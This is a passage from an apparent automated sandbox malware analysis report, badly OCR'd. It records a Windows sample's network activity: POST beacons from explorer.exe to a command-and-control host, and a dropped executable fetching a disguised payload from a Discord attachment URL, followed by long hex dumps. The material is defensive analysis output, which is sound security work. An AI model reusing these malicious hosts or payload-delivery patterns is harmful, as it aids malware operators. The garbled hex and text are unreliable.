00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 dO 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 c0 2e 6¢ 75 66 75 6¢ 61 63 €5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00
00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 O
0 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00O
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,Bt
WRichCtwPEL6 p@ @t1PPs?s<0@.text ".dataio@.lufulac@s@.rsrc?Ps@ @ @.reloc"s$@B

Destination IP Destination Port Process
185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ctxsek.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 319

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Oct 29, 2021 1425
20:29:24.308689117 CEST

Oct 29, 2021 1425
20:29:24.385056973 CEST

HTTPS Proxied Packets

Session ID Source IP

0 192.168.2.7
kBytes

Timestamp transferred

2021-10-29 18:29:49 UTC 0

2021-10-29 18:29:49 UTC 0

2021-10-29 18:29:49 UTC 1

2021-10-29 18:29:49 UTC 1

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49773

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ivcdxqts.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 214

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:24 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 63 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd el fd 5f {7 4d
91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2cl:8201:@_MqBJK,0

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

GET /attachments/893177342426509335/903575517888925756/6 D9E3C88.jpg HTTP/1.1
Host: cdn.discordapp.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:29:49 GMT

Content-Type: image/jpeg

Content-Length: 1023400

Connection: close

CF-Ray: 6a5e78bacf3f5cad-FRA

Accept-Ranges: bytes

Age: 32549

Cache-Control: public, max-age=31536000

ETag: "4cla9946a2a50a9bee099f80736b83ch"

Expires: Sat, 29 Oct 2022 18:29:49 GMT

Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-g00g-generation: 1635499591138366

x-goog-hash: crc32c=ewuz5A==

X-g00g-hash: md5=TBqZRgKICpvuCZ+Ac2uDyw==

X-goog-metageneration: 1

x-goog-storage-class: STANDARD

X-g00g-stored-content-encoding: identity

X-goog-stored-content-length: 1023400

X-GUploader-UploadID: ADPycdvJIxIr9khbKEXfSQ9n_bxgILL7dSGVIxF6rk63UtNA6boJINKCUIT3dV9e0Gr4n
6Y4UdNwOh6zGJyRPI1vLRno

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\/a.nel.cloudflare.com\ireport\/v3?s=14m12h6yWEg%2F DNMkW4TmUKid3G1J7
IBVW2CQqlir59j38YgcL GMh5UpHGhTdODK7fP%2FISUSTZyv6q9URA4WevuugigaFZXFRtOiywdgHEp%2BHpQVAFhA
xvQx6fq71A0DJyaedQ%3D%3D"}],"group":"cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20
4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f
20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20
4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f
572071715720704a2071714a2071716d2071717120714f7020 7171 6d 20 4d 45 20 71 4f 4d 20 70 4a 20
4d 4d 20 4d 4520 71 71 4f20 71

Data Ascii: OqJpmWDEXM-EE MO gmm OpO OO mO O OJWWIWWOOgXmOOOOOOODMOOOOOO
000000000000 0OOOOOOOOOOOOOOOOQIXOOOgmpggXD gm O gXxO M IJOW pp gXm

q ED JOW pp Xm gOm gOW qqW pJ qgqJ ggm gqq qOp ggm ME qOM pJ MM ME qgO q
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kBytes
Timestamp transferred

2021-10-29 18:29:49 UTC 2

2021-10-29 18:29:49 UTC 4

2021-10-29 18:29:49 UTC 5

2021-10-29 18:29:49 UTC 6

2021-10-29 18:29:49 UTC 8

2021-10-29 18:29:49 UTC 9

2021-10-29 18:29:49 UTC 10

2021-10-29 18:29:49 UTC 12

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20
4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d
20 71 7157 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d
5820 71 7058 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d
2058 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71
71452071 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71
4a 20 57 4f 20 6d 58 20 57 4f 20 57

Data Ascit OO0 0000000000000 00O0O0OOOOOOOOOOOOOO O0IWmMO JIMgOM gqW
WO mX WO WO Xm qgm gqgqE gmD gmp WO mX gpX Wm Xm ggm gqgE gOM qgJ WO gqgJ WO Wm Xm gqgm qqE qOM
qgJ WO mX WO Wm Xm ggm ggE gOM gqgJ WO mX WO Wm Xm ggm gqgE qgOM gqgJ WO mX WO W

Data Raw: 71 71 4a 20 57 4f 20 45 44 20 71 58 70 20 57 57 20 58 6d 20 71 71 6d 20 58 57 20 71 4f 4d 20 71 71 4a 20 57
4f 20 71 58 6d 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 58
204d 7120 70 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 4a
20 57 4f 20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 20
57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20
7171 6d 2057 70 20 71 4f 4d 20 71 71 4220 71 71 6d 20 70 4f

Data Ascii: ggJ WO ED gXp WW Xm ggm XW gOM qgJ WO gXm Wq Wm Xm ggX gqE gOM ggJ WO mX WO Wm Xm
qgm gqgqE qOM ggJd WO mX gX Wm Xm gX Mq pg p Dm Xp WO Wm Xm gEX gqgX gOM qgqJ WO JmO Wg Wm Xm qgX
qgE gOM ggJ gMO mM WO Wm Xm ggm qqE qOM gqgJ WO mX WO Wm Xm ggm Wp qOM gqJ ggm pO

Data Raw: 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f
2057 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71
6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d
2071 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d
58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58
6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45
20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57

Data Ascii: mX WO Wm Xm ggm qgE qOM qgJ WO mX WO Wm Xm ggm gqE qOM ggJ WO mX WO Wm Xm gqgm qqE
qOM ggqJ WO mX WO Wm Xm ggm ggE qOM ggqJ WO mX WO Wm Xm ggm ggE qOM gqgJ WO mX WO Wm Xm ggm
gqqE qOM ggJ WO mX WO Wm Xm gqgm ggqE qgOM ggJ WO mX WO Wm Xm qgm qqE qOM gqgqJ WO mX WO W

Data Raw: 20 70 4d 20 70 45 20 6d 45 20 4a 71 45 20 6d 4a 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 70 58 20 44
6d 20 57 57 20 58 6d 20 71 71 6d 20 57 20 70 71 20 6d 71 20 57 4f 20 6d 58 20 44 44 20 45 4a 20 45 6d 20 71 71 6d 20
717145 20 71 4f 70 20 58 58 20 6d 57 20 6d 58 20 57 4f 20 44 4f 20 4a 6d 44 20 58 45 20 4d 58 20 70 71 20 71 20 57 4f
20 6d 58 20 44 44 20 44 58 20 4a 57 71 20 71 71 6d 20 71 71 45 20 4a 4d 20 71 6d 20 6d 6d 20 6d 58 20 57 4f 20 44 4f
20 71 4a 6d 20 71 4f 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 4a 20 44 58 20 71 6d 4520 71 7
16d 20 71 71 45 20 4a 4d 20 4a 20 57 70 20 6d 4d 20 57 4f 20 45 4f 20 6d 4a 20 71 4f58 20 71 71 4520 71 4f4d 20 71 4
a4a 20 4a 44 20 6d 45 20 57 4f 20 57 6d 20 4d 6d 20 4a 4f 58 20

Data Ascii: pM pE mE JgE mJ qgE qOM qgp Jp pX Dm WW Xm ggm W pg mg WO mX DD EJ Em gqgm qgE qOp XX mW
mX WO DO JmD XE MX pg g WO mX DD DX JWq gqgm qgqE JM gm mm mX WO DO gJm qOM qqE qOM qJJ gmm Jg mJ
DX gmE qgm gqgE JM J Wp mM WO EO mJ qOX gqgE gOM gJJ JD mE WO Wm Mm JOX

Data Raw: 71 71 6d 20 71 71 70 20 44 4d 20 71 71 6d 20 57 4f 20 6d 58 20 4a 57 20 58 4d 20 71 71 4a 20 7171 57 20 71
7145 20 71 4f 45 20 4d 45 20 57 57 20 70 70 20 57 6d 20 4a 4f 4f 20 58 4a 20 71 44 6d 20 71 71 4420 71 4f4d 20 71 71
58 20 44 57 20 70 4f 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 20 71 70 4d 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 71 20 70 71
20707020 71 71 6d 20 71 4a 20 71 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 4f 44 20 57 4a 20 4a 70 57 20 58 57
207171 6d 20 71 71 57 20 70 4f 20 4d 57 20 57 4f 20 6d 58 20 57 44 20 71 4d 20 4a 71 4a 20 71 6d 4f 20 71 71 4520 71
4f 4d 20 71 71 44 20 4a 44 20 57 71 20 57 4f 20 57 6d 20 71 4a 45 20 4a 4d 20 4d 57 20 71 4f 58 20 71 71 4a 20 57 4a 20
70 7020 57 57 20 70 4d 20 58 4f 20 71 6d 4f 20 71 71 57 20

Data Ascii: qgm gqgp DM ggm WO mX JW XM qgJ qqW qgE qOE ME WW pp Wm JOO XJ gDm qgD qOM qgX DW pO
WO Wm Mm gJ gpM qOM qqJ Wm Jg pq pp qgm gJ gmJ gOM ggJ Wm JOD WJ JpW XW ggm gqgqW pO MW WO mX WD
gM JgJ gmO qgE qOM qgD JD Wg WO Wm gJE JM MW qOX qgJ WJ pp WW pM XO gmO qqW

Data Raw: 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 45 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4d 20 57 70 20
70 4f20 7171 4f20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 70 20 57 70 20 57 6d 20 44 70 20 4a 70 57 20 71 4a 45 20 71
71572071 71 4520 71 4f 4d 20 71 71 6d 20 4a 44 20 57 44 20 57 4f 20 57 6d 20 58 4a 20 71 4a 44 20 71 71 6d 20 70 4f
20 4a 71 4d 20 57 4f 20 6d 58 20 57 4a 20 70 45 20 58 4f 20 4d 4d 20 71 71 70 20 71 71 70 20 4a 57 70 20 71 4f 6d 20 6d
582057 4f 20 57 57 20 71 71 70 20 71 44 4a 20 4a 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20
58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 70 57 20 58 6d 20 71 71 6d 20 71 71 57
2045 57 20 71 4f 4a 20 70 70 20 57 70 20 71 4f 20 4a 70 6d 20

Data Ascii: W X WO Wm Mm MO ED qOM qqJ WD WM Wp pO qqO ggm qgqE qOp Mp Wp Wm Dp JpW qJE qqW qqE
qOM ggm JD WD WO Wm XJ gJD ggm pO JgM WO mX WJ pE XO MM qgp qgp JWp gOm mX WO WW qgp qDJ JJJ qO
M gqgqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX Mp gpW Xm ggm qqW EW qOJ pp Wp qO Jpm

Data Raw: 20 57 6d 20 58 6d 20 71 71 6d 20 70 58 20 71 4f 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 57 6d 20 58
6d 20 71 71 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 45 4d 20 44 44 20 71 71 57
20 71 4f 4d 20 57 4a 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 4f 4f 20 70 4f 20 45 4d 20 57 4f 20
6d 58 20 57 44 20 44 4f 20 58 44 20 71 71 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20
71 6d 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20
71 4f 4d 20 71 4a 4a 20 4a 44 20 4d 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 71 20 71 71 6d 20 44 4d 20 45 6d 20 57 4f 20 6d
582057 44 20 4a 452058 70 20 71 71 44 20 71 4a 4f20 71

Data Ascii: Wm Xm gqgm pX qOX qgJ WO qOW Wq Wm Xm qgp qqE qOM gqgqJ Dg mX WO WW EM DD qgqW qOM WJ
mX mX WO Wp Xm ggm gOO pO EM WO mX WD DO XD qqq JmX WW qgJ WO mM Jp JpO gmO ggm gqqE gOW XX W
mX WO DO pM Em qqE qOM gJJ JD M WO Wm Mm gJq ggm DM Em WO mX WD JE Xp qgD qJO q

Data Raw: 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 4a 71 6d 20 57 4f 20 57 6d 20 58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20
7171 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 4d 70 20 71 71 4a 20 57 4f 20 57 6d 20
4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 4a 20 45 4a 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 58 70 20 4d 4d
2071717020 71 4a 6d 20 71 71 45 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45
4a 20 71 44 4f 20 71 57 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57
20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 4a 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 44 20 4a 44 20 6d 58 20 5
86d 207171 6d20 71 71 57 20 4a 20 45 6d 20 57 71 20 6d 58 20

Data Ascii: E gOX XW JJD Jgm WO Wm XO MO DD gqOM qgJ WD DE qO Wm Xm gJO JD gMp qgJ WO Wm Mp gp Xm
qgm gJE J EJ Wg mX WJ pM Xp MM qqgp gJm qqE mW Dp gMg qOX Xm ggm qgD EJ gDO gWW mX WO WO gJm DM
qqE qOM gJJ DW X WO Wm Mm JM JgE qOM qgqJ WJ WD JD mX Xm ggm gqqW J Em Wgq mX

Page 56 of 130



kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:49 UTC 13 IN Data Raw: 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 70 4a 20 57 4f 20 57 6d 20 58 4f 20 4d 4f
2044 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 4420 71 4d 7020 71 71
4a 20 57 4f 20 57 6d 20 4d 70 20 71 70 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 4d 20 70 57 20 57 57 20
6d 7020 71 58 45 20 71 6d 20 71 71 6d 20 71 71 45 20 71 4f 58 20 58 57 20 4a 4a 44 20 71 57 4d 20 57 4f 20 57 6d 20
58 4f 20 4d 4f 20 44 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 44 45 20 71 4f 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 6d
57 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 6d 71 20 44 4d 20 71 71 45 20 71 4f 58 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d
582057 712071 4d 20 71 70 4220 71 6d 6d 20 71 71 45 20 71
Data Ascii: m ggm gqgE qOX XW JJD gpJ WO Wm XO MO DD qOM qgJ WD DE gO Wm Xm gqJO JD qMp gqgqJ WO Wm
Mp gp Xm qgm gJE gqJD qgM pW WW mp gXE gm qgm ggqE gOX XW JJD gWM WO Wm XO MO DD qOM qgqJ WD DE q
O Wm Xm qJO JD mW qgJ WO WX pg mq DM ggE qOX JJm mJ WO mX Wq gM gpJ gmm qqE q

2021-10-29 18:29:49 UTC 14 IN Data Raw: 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 4f 4f 20 70 70 20 57 6d 20 70 57 20 57 4f 20 44 4d 20 71 71 4d 20
71 4f 44 20 71 4a 4f 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 57 45 20 71 4f 4d
2071 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4d
70207157 6d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 71 20 58 58 20 57 4a 20 6d 58 20 57 4f 20 6d 58 20 70 58 20
7120 71 71 4d 20 71 4f 4d 20 4f 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 71 4f 44 20 71 4f 4d 20 71 71
4a 2057 44 20 70 57 20 57 70 20 44 4d 20 71 44 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4d 20 57 58 20 70 70 20 57 5
820 70 4d 20 58 4f 20 4d 4d 20 71 71 4a 20 71 71 6d 20 71 4a 6d
Data Ascii: qgW gqgE qgOM gOO pp Wm pW WO DM ggM qOD gJO JWp gOm mX WO WW qqgp gDJ gWE qOM qgqJ Wm
Jm W Wm Xm gqJO D XW gqgJ WO WX Mp gWm Xm gqgm gqW qOg XX WJ mX WO mX pX g qgM gOM O ED mD WO
Wm Mm JM qOD gqOM qqJ WD pW Wp DM gD qgW gqE qgOE MM WX pp WX pM XO MM qqJ qgm gJm

2021-10-29 18:29:49 UTC 16 IN Data Raw: 6d 20 71 4a 45 20 71 71 6d 20 44 20 71 20 6d 4a 20 6d 58 20 70 70 20 57 4d 20 58 57 20 71 71 45 20 71 4f 4d
2071 4a 4a 20 6d 57 20 71 20 71 20 57 45 20 58 45 20 4d 4f 20 44 4a 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 4f 20 4a 44
20 6d 4f 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4f 70 20 4d 71 20 44 4f 20 57 4f 20 70 44 20 70 6d 20 71 4a 6d 20 58 6d
2071714520 71 4f 4d 20 71 71 58 20 4d 70 20 71 71 20 57 4f 20 57 6d 20 4d 6d 20 71 4a 4f 20 71 45 71 20 71 71 4f 20
58 44 20 4a 70 44 20 6d 58 20 57 4a 20 4a 58 20 58 57 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 6d
2057 4f207020 717171207171 6d 20 71 71 58 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 70 70 20 44 20 58 44 20
7171 6d 20 58 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 57 20
Data Ascii: m qJE qgm D g mJ mX pp WM XW ggE qOM gqJJ mW q g WE XE MO DJ qOM ggqJ WD WO JD mO Xm gqgm g
gqW qOp Mg DO WO pD pm gJm Xm gqE qOM gqgX Mp gqq WO Wm Mm gJO gEq qqO XD JpD mX WJ IJX XW MX qqE
qOM gqJ WO Wm WO p qqqg gqgm gqgX MX qgJ WO mM pp D XD ggm XJ gOM qgqJ WO WW

2021-10-29 18:29:49 UTC 17 IN Data Raw: 20 71 71 4a 20 57 4f 20 4a 45 20 4d 70 20 4a 6d 58 20 58 57 20 71 71 6d 20 71 71 57 20 4a 20 71 44 71 20 57
7120 6d 58 20 57 4a 20 44 4f 20 71 70 58 20 71 71 70 20 58 70 20 71 45 4d 20 71 71 4a 20 4a 70 44 20 57 71 20 4a 4f
20 4a 70 4a 20 58 6d 20 71 71 44 20 4d 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 70 20 44 20 57 6d 20 58 6d 20 71
71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 45 20 6d 4d 20 57 4f 20 57 6d 20 45 44 20 71 71 6d 20 71 71 45 20 71 4f
4d 20 58 70 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4
d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 6d 20 57 71 20 57 6d 20 58
6d 20 4d 4f 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 6d 58
Data Ascii: qgJ WO JE Mp JmX XW ggm gqW J gDg Wg mX WJ DO gpX qqgp Xp gEM ggJ JpD Wq JO JpJ Xm qgqD MW
